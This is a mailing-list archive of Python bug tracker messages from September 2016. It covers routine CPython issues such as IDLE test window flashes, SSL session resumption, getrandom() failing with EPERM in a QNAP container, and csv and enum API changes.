In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za>
Message-ID: <1473038378.85.0.605504846617.issue25825@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25825>
_______________________________________

From report at bugs.python.org  Sun Sep  4 21:30:30 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 05 Sep 2016 01:30:30 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
Message-ID: <1473039030.13.0.589267107728.issue27951@psf.upfronthosting.co.za>


New submission from Martin Panter:

Seif, you will have to give more details or context for people to make sense of this.

----------
nosy: +martin.panter
stage:  -> test needed
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Sun Sep  4 22:03:18 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 05 Sep 2016 02:03:18 +0000
Subject: [issue21622] ctypes.util incorrectly fails for libraries without
 DT_SONAME
In-Reply-To: <1401593302.24.0.994822187168.issue21622@psf.upfronthosting.co.za>
Message-ID: <1473040998.2.0.723987060702.issue21622@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think it may be reasonable to change the code to return the library file name if no soname can be found.

In the long term, I think always returning the filename rather than soname might be reasonable. Or even returning the full path, which we tried in Issue 21042 (but rolled back because the solution so far is not consistent across platforms).

----------
stage:  -> needs patch
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21622>
_______________________________________

From report at bugs.python.org  Sun Sep  4 22:46:43 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 05 Sep 2016 02:46:43 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1473043603.66.0.519798557175.issue27950@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ohh, it's reasonable. I forgot # means also comments in shell. What a shame. :(

But can we make it '<tab>@ #...'? Note there is a space. In my editor(Emacs), '<tab>@#' will break highlight and highlight it as a command, which is a hurt during reading. You can see it in the screenshot I upload.

----------
Added file: http://bugs.python.org/file44367/Selection_012.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Mon Sep  5 00:02:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 04:02:08 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <20160905040205.9619.21806.BE9DA5AE@psf.io>


Roundup Robot added the comment:

New changeset de9e410e78d8 by Terry Jan Reedy in branch '2.7':
Issue #27918# test.resource.is_gui_available no longer flashes tk window.
https://hg.python.org/cpython/rev/de9e410e78d8

New changeset 756c27efe193 by Terry Jan Reedy in branch '3.5':
Issue #27918# test.resource.is_gui_available no longer flashes tk window.
https://hg.python.org/cpython/rev/756c27efe193

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Mon Sep  5 00:15:59 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 05 Sep 2016 04:15:59 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <1473048959.91.0.965758473426.issue27918@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

This issue only addresses and fixes the 1 flash per process from test.support.is_gui_available.  I separately added root.withdraw to IDLE tests in #27922, to stop their flashes.  Doing the same for tkinter tests would be a third issue.  I believe it would be easy since tkinter has a support module with mechanisms to set up and tear down root windows.  (I am thinking of something similar for IDLE.)  I leave this to Serhiy.

----------
assignee:  -> terry.reedy
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Mon Sep  5 00:26:18 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Mon, 05 Sep 2016 04:26:18 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1473049578.49.0.34722027227.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

Martin, where am I supposed to get the patch URL from?

Also, is it too soon to issue DeprecationWarnings? Would it be more appropriate if they are PendingDeprecationWarnings instead?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Mon Sep  5 00:48:13 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 05 Sep 2016 04:48:13 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <1473050893.91.0.507683591759.issue27922@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Hi Terry, I think this issue may be not completed. While running idlelib test with -ugui, I can sometimes still get a window flash. I think it's due to test_searchbase. Running python -m idlelib.idle_test.test_searchbase can reproduce the flash and adding withdraw doesn't work for me.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Mon Sep  5 01:49:03 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 05 Sep 2016 05:49:03 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <1473054543.69.0.643472473205.issue27922@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

After some tries, I think it seems to be caused by the second open in test_open_and_close in SearchDialogBaseTest. The second open calls self.top.deiconify.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Mon Sep  5 02:23:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 06:23:07 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473056587.84.0.738890339181.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Performance improvements with session resumption is quite noticeable. I see between 17 and 21% improvement for 10 requests GET http://pypi.python.org/pypi in a simple benchmark:

session resumption: 1.264sec
no session:         1.535sec
                    82.4%

----------
Added file: http://bugs.python.org/file44368/sesstime.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Mon Sep  5 03:05:44 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Mon, 05 Sep 2016 07:05:44 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473059144.45.0.8604568765.issue27781@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I belatedly remembered I've had this new test case hanging around for a while, and never got around to getting it into shape for inclusion in the standard library.

With the prospect of reasonable cross-platform consistency in this area, it could be a good thing to add as part of this PEP.

----------
nosy: +ncoghlan
Added file: http://bugs.python.org/file44369/test_cmd_line_unicode.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Mon Sep  5 03:32:14 2016
From: report at bugs.python.org (A. Skrobov)
Date: Mon, 05 Sep 2016 07:32:14 +0000
Subject: [issue26415] Excessive peak memory consumption by the Python parser
In-Reply-To: <1456182380.09.0.81920177296.issue26415@psf.upfronthosting.co.za>
Message-ID: <1473060734.91.0.15354626652.issue26415@psf.upfronthosting.co.za>


A. Skrobov added the comment:

Updated the comment for Init_ValidationGrammar()

----------
Added file: http://bugs.python.org/file44370/patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26415>
_______________________________________

From report at bugs.python.org  Mon Sep  5 03:51:11 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 05 Sep 2016 07:51:11 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473061871.52.0.0531915289091.issue19500@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Patch LGTM. But one thing is that every time it returns a new instance of SSL.Session. That means ssl_sock.session == ssl_sock.session will always return False right now. Is it useful to make it comparable?

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Mon Sep  5 03:59:21 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 05 Sep 2016 07:59:21 +0000
Subject: [issue27953] math.tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1473062361.16.0.108804716354.issue27953@psf.upfronthosting.co.za>


Ned Deily added the comment:

It would be nice to use the existing @requires_mac_ver() decorator to skip the tests (see Lib/test/support/__init__.py).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Mon Sep  5 06:33:08 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 10:33:08 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473071588.53.0.197476511193.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Xiang, good point! I have added richcompare to SSLSession (based on session id). My branch on github implements a couple more fixes and improvements.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Mon Sep  5 08:31:08 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 05 Sep 2016 12:31:08 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1473078668.27.0.690041138068.issue27923@psf.upfronthosting.co.za>


Martin Panter added the comment:

Elias, the patch URL is where I downloaded your patch from; see the list of patches at the top of this bug:

hg import --no-commit https://bugs.python.org/file44316/pep467.patch

Anyway in this email <http://mid.mail-archive.com/57CAEF46.6000402 at stoneleaf.us> it seems Ethan only wants to document that the old constructor call is deprecated, and not issue a DeprecationWarning.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Mon Sep  5 08:31:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 05 Sep 2016 12:31:25 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1473078685.57.0.260949361452.issue27497@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks! The patch lacks a test case (you can add it into Lib/test/test_csv.py) and a versionchanged notice in documentation (see http://cpython-devguide.readthedocs.io/en/latest/documenting.html#paragraph-level-markup for details.)

----------
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Mon Sep  5 09:25:37 2016
From: report at bugs.python.org (iwings)
Date: Mon, 05 Sep 2016 13:25:37 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
Message-ID: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>


New submission from iwings:

On QNAP's Linux Station (lxc based virtual environment), getrandom() syscall returns EPERM not ENOSYS when it's not available.

(HOST) uname -a
Linux ******-NAS 3.12.6 #1 SMP Thu Sep 1 00:57:44 CST 2016 x86_64 unknown

(HOST) /lib64/libc-2.19.so
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al.

(LXC) uname -a
Linux ubuntu_1604 3.12.6 #1 SMP Thu Sep 1 00:57:44 CST 2016 x86_64 x86_64 x86_64 GNU/Linux

(LXC) /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

(LXC)
long n = syscall(SYS_getrandom, buffer, sizeof(buffer), flags);
printf("SYS_getrandom: %ld (%d)\n", n, errno);
=> 
SYS_getrandom: -1 (1)

Proper fall back to /dev/urandom is not happening in this case, so most python app calling getrandom function fails. This includes apt, command-not-found etc.

----------
files: random.diff
keywords: patch
messages: 274399
nosy: iwings
priority: normal
severity: normal
status: open
title: getrandom() syscall returning EPERM make the system unusable.
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44371/random.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Mon Sep  5 10:16:22 2016
From: report at bugs.python.org (Skip Montanaro)
Date: Mon, 05 Sep 2016 14:16:22 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1473078685.57.0.260949361452.issue27497@psf.upfronthosting.co.za>
Message-ID: <CANc-5UwAOeHX6SFTwNC-avN1isM9C7zrBnvLdAkx9L+hKDFxUg@mail.gmail.com>


Skip Montanaro added the comment:

Also, a change in behavior has to be very carefully considered, even
though it passes all existing test cases (and presumably the one(s)
you'll add). The change may well only be acceptable for the next minor
release of 3.x.

On Mon, Sep 5, 2016 at 7:31 AM, Berker Peksag <report at bugs.python.org> wrote:
>
> Berker Peksag added the comment:
>
> Thanks! The patch lacks a test case (you can add it into Lib/test/test_csv.py) and a versionchanged notice in documentation (see http://cpython-devguide.readthedocs.io/en/latest/documenting.html#paragraph-level-markup for details.)
>
> ----------
> stage: needs patch -> patch review
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27497>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Mon Sep  5 10:25:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 14:25:53 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>
Message-ID: <1473085553.17.0.968042801816.issue27955@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Did you open a bug with your vendor, too? QNAP is clearly violating Kernel APIs. getrandom() is not suppose to fail with EPERM. Valid errnos are EINVAL, EFAULT, EAGAIN and EINTR. http://man7.org/linux/man-pages/man2/getrandom.2.html

----------
nosy: +christian.heimes, haypo
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Mon Sep  5 11:23:42 2016
From: report at bugs.python.org (Ashish Nitin Patil)
Date: Mon, 05 Sep 2016 15:23:42 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1473089022.93.0.121070418556.issue27497@psf.upfronthosting.co.za>


Ashish Nitin Patil added the comment:

Thank you Berker & Skip for your review & additional inputs.
I have added a (probably not so good) unittest for testing the newly added *return*.
I have also added the corresponding *versionchanged* info to the documentation as suggested by Berker.

Will keep these in mind while making a patch next time :)
Kindly let me know if there are any further changes required.

----------
Added file: http://bugs.python.org/file44372/issue_27497_add_return_to_DictWriter_writeheader_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Mon Sep  5 11:25:13 2016
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 05 Sep 2016 15:25:13 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473089113.28.0.28377302064.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> I am quite aware about what's the intended use, but you can't just
> assume people will know about it.

Fair enough.

> In my view, you must do one of two things:
> 
> 1) (at least in documentation, and preferably in the code by raising Exceptions at class definition time) forbid the use of Flags whose values are not either a) powers of two, or b) bitwise or of some already declared values

The closest I would get to forbidding something would be to forbid non-integers as values -- and I'm not going to do that.  In general, Python doesn't take such steps (one notable exception being sum refusing to work with strings because it was such a common trap).

> -or-
> 
> 2) Specify and implement a robust algorithm for finding the "cover of
> bits" for a given numeric value. If the intended algorithm is really
> "pick the largest member value smaller than given value, subtract and
> repeat until 0 remains", then it should be said so in the
> documentation, and preferably some reasons given for the usage of that
> exact algorithm. ("it was easiest to implement" does not rank very high
> on my list.)

How about "it works for me"?  Seriously, if every bit is named then the exact repr used is irrelevant.  If you don't like the standard method then write your own __repr__ method, because that's what we're talking about -- not the actual value (which isn't going to be affected by the algorithm for finding the "cover of bits", but the display of the names).

> In other words, MyFlags(7) should either be illegal, or I should be
> able to interpret what it will be by reading the documentation. Leaving
> it unspecified is not acceptable IMO.

Thankfully, docs can still change during beta.

> (In case it isn't clear: I'm for option 1. I _don't_ intend to write
> MyFlags ever in Python. But if I happen to write it unintentionally
> (e.g. if I forget to declare 2), I would like Python to tell me I'm
> doing something wrong.)

We could certainly add a decorator that double-checks that, just like we have the `unique` decorator to ensure no duplicates in an Enum.  Any idea what to call it?  complete?  named?  allbits?

> (But if you really want option 2 for some reason, that's ok too. I'm
> just saying I would like it specified, with a rationale if it's not
> too much of a problem.)

(1) isn't going to happen, except possibly as a decorator.  If you would like to contribute code and/or docs for (2) and/or a decorator for (1) I'd be happy to review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Mon Sep  5 11:50:30 2016
From: report at bugs.python.org (iwings)
Date: Mon, 05 Sep 2016 15:50:30 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>
Message-ID: <1473090630.81.0.245142233177.issue27955@psf.upfronthosting.co.za>


iwings added the comment:

I did not report this to QNAP yet. but there's already a thread on their forum.
https://forum.qnap.com/viewtopic.php?t=124650 (registration required)

- ENOSYS is not listed in that man page, but it occurs.
- EPERM is not listed in that man page, but it can be returned if seccomp filters getrandom() syscall for example.

So preparing for these return values are meaningful not only for QNAP users.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Mon Sep  5 12:36:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 05 Sep 2016 16:36:45 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473090630.81.0.245142233177.issue27955@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZX0WK8NFRKBgN=PRox5k-iHCEgAXsKZ7eijPPhHz+tWA@mail.gmail.com>


STINNER Victor added the comment:

I'm ok to fallback on read /dev/urandom device when getrandom() is
blocked by a stupid security policy :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Mon Sep  5 12:41:02 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 05 Sep 2016 16:41:02 +0000
Subject: [issue27953] math.tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1473093662.11.0.259785702341.issue27953@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Ned: that's for skipping an entire test method, right? Here a single test method tests a few hundred different special cases; we want to exclude only one of those cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:16:43 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 17:16:43 +0000
Subject: [issue27811] _PyGen_Finalize() should not fail with an exception
In-Reply-To: <1471685705.62.0.520066392301.issue27811@psf.upfronthosting.co.za>
Message-ID: <1473095803.84.0.549879239206.issue27811@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

Thank you, Armin.

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27811>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:17:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 17:17:51 +0000
Subject: [issue27811] _PyGen_Finalize() should not fail with an exception
In-Reply-To: <1471685705.62.0.520066392301.issue27811@psf.upfronthosting.co.za>
Message-ID: <20160905171747.37924.97808.2C39C36A@psf.io>


Roundup Robot added the comment:

New changeset 4d531711cbc7 by Benjamin Peterson in branch '3.5':
do not allow _PyGen_Finalize to fail (closes #27811)
https://hg.python.org/cpython/rev/4d531711cbc7

New changeset 1b14dbe9e98b by Benjamin Peterson in branch 'default':
merge 3.5 (closes #27811)
https://hg.python.org/cpython/rev/1b14dbe9e98b

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27811>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:40:58 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 05 Sep 2016 17:40:58 +0000
Subject: [issue27953] math.tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1473097258.79.0.916600178421.issue27953@psf.upfronthosting.co.za>


Ned Deily added the comment:

Mark, ah, yes, that's true.  So the tests would have to be separated out into a separate test case method.  So, not worth the effort.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:41:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 17:41:15 +0000
Subject: [issue27812] PyFrameObject.f_gen can be left pointing to a dangling
 generator
In-Reply-To: <1471686174.13.0.999892263925.issue27812@psf.upfronthosting.co.za>
Message-ID: <20160905174112.23439.51248.25BC2855@psf.io>


Roundup Robot added the comment:

New changeset 3e4452424f9b by Benjamin Peterson in branch '3.5':
clear out f_gen during generator finalization (closes #27812)
https://hg.python.org/cpython/rev/3e4452424f9b

New changeset 1d7a938b1e47 by Benjamin Peterson in branch 'default':
merge 3.5 (#27812)
https://hg.python.org/cpython/rev/1d7a938b1e47

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27812>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:43:37 2016
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Mon, 05 Sep 2016 17:43:37 +0000
Subject: [issue27106] configparser.__all__ is incomplete
In-Reply-To: <1464121705.13.0.123221989673.issue27106@psf.upfronthosting.co.za>
Message-ID: <1473097417.43.0.255668525972.issue27106@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

?ukasz, Martin - I'm not sure how to proceed here, of course both ways out are reasonable. I'd be happy to provide (however small) patch for either one (adding Error to __all__ or just adding test for __all__). :)

My inner librarian would of course either push the Error to fully become part of public API or change its name to non-public _Error or something, but I'd much rather rely on you in this regard.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27106>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:46:42 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 05 Sep 2016 17:46:42 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1473097602.55.0.232096793108.issue27779@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: skrah -> lisroach

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Mon Sep  5 13:56:41 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 05 Sep 2016 17:56:41 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1473098201.07.0.87687625055.issue27779@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Sorry, Raymond, this is my code area.  I said I'll review a patch.

----------
assignee: lisroach -> skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:01:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 05 Sep 2016 18:01:13 +0000
Subject: [issue27953] math.tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1473098473.26.0.653802329604.issue27953@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Given enough time, it would make a lot of sense to adapt these tests to use the subtests machinery (though it's not immediately clear to me how to make @requires_mac_ver work with the subtests machinery). I'm afraid this issue was a bit of a quick fix to get the buildbots back to working state.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:03:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 18:03:59 +0000
Subject: [issue27407] prepare_ssl.py missing in PCBuild folder
In-Reply-To: <1467129101.75.0.190967311264.issue27407@psf.upfronthosting.co.za>
Message-ID: <20160905180356.6805.52927.9226B199@psf.io>


Roundup Robot added the comment:

New changeset 8955049a79aa by Zachary Ware in branch '2.7':
Issue #27407: Add prepare_ssl.py to 2.7
https://hg.python.org/cpython/rev/8955049a79aa

New changeset 32552131d8cb by Zachary Ware in branch '2.7':
Issue #27407: Make PCbuild/prepare_ssl.py Python 2 compatible
https://hg.python.org/cpython/rev/32552131d8cb

New changeset e0873191ad7d by Zachary Ware in branch '3.5':
Issue #27407: Make PCbuild/prepare_ssl.py Python 2 compatible
https://hg.python.org/cpython/rev/e0873191ad7d

New changeset 87f186cc6b80 by Zachary Ware in branch 'default':
Closes #27407: Merge with 3.5
https://hg.python.org/cpython/rev/87f186cc6b80

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27407>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:07:03 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 05 Sep 2016 18:07:03 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <1473098823.72.0.269052939517.issue27922@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Thanks for the good detective work.  The flash is always there, somewhere, though sometimes minimal.  SearchBase.open begins with

        if not self.top:
            self.create_widgets()
        else:
            self.top.deiconify()
            self.top.tkraise()

The first and second open()s call the first and second branch.  I am puzzled that the first does not flash, as top is created 'normal' rather than 'withdrawn'.  It also turn out that commenting out either of the two lines stops the flash.

The flash could be prevented by changing 'else' to 'else if not _utest' and adding '_utest' as a parameter and passing True, as I have elsewhere.  However, the purpose of the second open() is to take that branch for near 100% coverage, and I have previously only used _utest to avoid blocking .wait_window calls.

I think I am going to leave this alone for now, but please feel free to comment on other IDLE issues.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:13:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 18:13:32 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <20160905181329.9729.78461.BDBBDED7@psf.io>


Roundup Robot added the comment:

New changeset df5b6d1c7ea8 by Benjamin Peterson in branch 'default':
fix skipping #27921 for windows
https://hg.python.org/cpython/rev/df5b6d1c7ea8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:26:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 18:26:27 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473099987.65.0.740313645076.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Note to future me:
Don't forget to take care of X.509 client authentication. A server is allowed to bypass client cert validation when a SSL session is resumed. SSLContext.load_cert_chain() should invalidate session caches. (CVE-2016-5419 https://curl.haxx.se/docs/adv_20160803A.html)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:36:44 2016
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Mon, 05 Sep 2016 18:36:44 +0000
Subject: [issue27112] tokenize.__all__ list is incomplete
In-Reply-To: <1464123395.58.0.823594635343.issue27112@psf.upfronthosting.co.za>
